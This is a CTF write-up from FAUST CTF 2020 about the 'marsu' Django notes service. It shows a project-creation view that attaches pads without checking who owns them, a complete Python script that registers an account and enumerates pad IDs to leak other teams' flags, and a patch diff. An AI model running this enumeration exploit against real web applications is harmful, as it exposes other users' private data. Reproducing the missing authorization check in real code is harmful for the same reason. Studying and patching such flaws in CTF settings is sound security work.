Tags: django web 

Rating:

## Description
`marsu` was a service that consisted of a [Django](https://www.djangoproject.com/) web server which allowed users to create accounts, projects, and "pads" within these projects -- sort of like smaller notes within a larger notepad. When viewing a project, all the pads and their content were shown. These pads contained the flag which the gameserver added and could only be viewed through a project.

Below is the code that creates a project and adds the pads the user selected into it. Keep in mind that the pads have already been created as [Django](https://www.djangoproject.com/) models and there's nothing special or vulnerable there.
```py
@ensure_csrf_cookie
@login_required
def create(request):
if request.method == 'POST':
form = NewProjectForm(request.POST)
if not form.is_valid():
return render(request, 'project/create.xml', {'form': form})

# TODO Step 2: confirm inviting new people
proj = Project()
proj.title = form.cleaned_data['title']
proj.save()
proj.users.add(request.user)
proj.save()
for pk in form.cleaned_data['pad']:
pad = Pad.objects.get(pk=pk)
pad.project.add(proj)
pad.save()

return HttpResponseRedirect(reverse('project:view', args=(proj.id,)))
else:
form = NewProjectForm()
return render(request, 'project/create.xml', {'form': form})
```

## Exploitation
The exploit comes in when the program loops through all added pads and attaches them directly to the project. There's no validation that these pads aren't already in other users' (such as the gameserver's) projects, meaning one can simply loop through and try to add every single pad to a new project in an attempt to leak the flag. Our exploit does the following:
- Create an account
- Create a new project with a single pad with `pk=160` (the appropriate value of the pad when we began the exploit)
- Find the flag in the response's content
- Create a new project with a single pad with `pk+=1`
- Repeat
- Stop if there's a gap of 30 non-existant `pk`s

```py
#!/usr/bin/env python3

import re
import requests
import secrets
import sys

BASE_URL = 'http://[{ip}]:12345/'.format(ip=sys.argv[1])
req = requests.Session()

reflag = re.compile('(FAUST_[A-Za-z0-9/+]{32})')

recsrf = re.compile('<input type="hidden" name="csrfmiddlewaretoken" value="(\w+)">')
try:
csrf = recsrf.search(req.get(BASE_URL + 'accounts/register').content.decode()).group(1)
except AttributeError:
raise SystemExit

username = secrets.token_hex()[:10]
password = secrets.token_hex()[:25]

try:
a = req.post(
BASE_URL + 'accounts/register',
cookies={'csrftoken': csrf},
data={'csrfmiddlewaretoken': csrf, 'username': username, 'password1': password, 'password2': password}
)
except Exception:
raise SystemExit
else:
if a.status_code != 200:
raise SystemExit

i = 160
last_flag = 0
failed = 0
while failed < 30:
v = req.post(
BASE_URL + 'p/create/',
cookies={'csrftoken': csrf},
data={'csrfmiddlewaretoken': csrf, 'title': secrets.token_hex(), 'pad': '[{}]'.format(i), 'people': ''}
)
a = reflag.search(v.content.decode())
if v.status_code != 200:
failed += 1
else:
failed = 0
if a is not None:
print(a.group(1))
last_flag = i
i += 1

print('Last flag: ', last_flag)
```
This exploit script can actually be improved significantly by only trying the last few `pk`s (the last of which can be found by creating a new pad and looking at its `pk`) since we only care about new flags. Trying to add all the pads at once instead of going one at a time could also be done to improve speed and is what another team did. This can be seen in saarsec's writeup [here](https://saarsec.rocks/2020/07/12/FAUSTCTF-marsu.html). (This is also susceptible to spamming pads which would put the valid flags out of the 20 pad checking range. In practice, this either never occurred or had little impact.)

## Patching
Now that we know the exploit, we need to come up with a patch. We made it a little over complicated, mainly because we didn't want to risk losing SLA points while also preventing attacks. Our patch was to change the contents of the for loop as such:
```diff
for pk in form.cleaned_data['pad']:
+ try:
- pad = Pad.objects.get(pk=pk)
+ pad = Pad.objects.get(Q(project=None)|Q(project__users__in=[request.user]), pk=pk)
+ except Pad.DoesNotExist:
+ continue
pad.project.add(proj)
pad.save()
```

This meant that only pads which didn't belong to a project or those that belonged to a project that the user *also* belonged to could be added to the new project. From [saarsec's writeup](https://saarsec.rocks/2020/07/12/FAUSTCTF-marsu.html) it looks like simply checking that the project was `None` was just as effective. The `try`-`except` was completely unnecessary and actually a bad idea because it could let attackers add every single pad at once and only existing ones would get accepted, leaking everything at once -- bad thought on my part.

---

Original writeup (https://fluix.dev/blog/faust-ctf-2020-marsu/).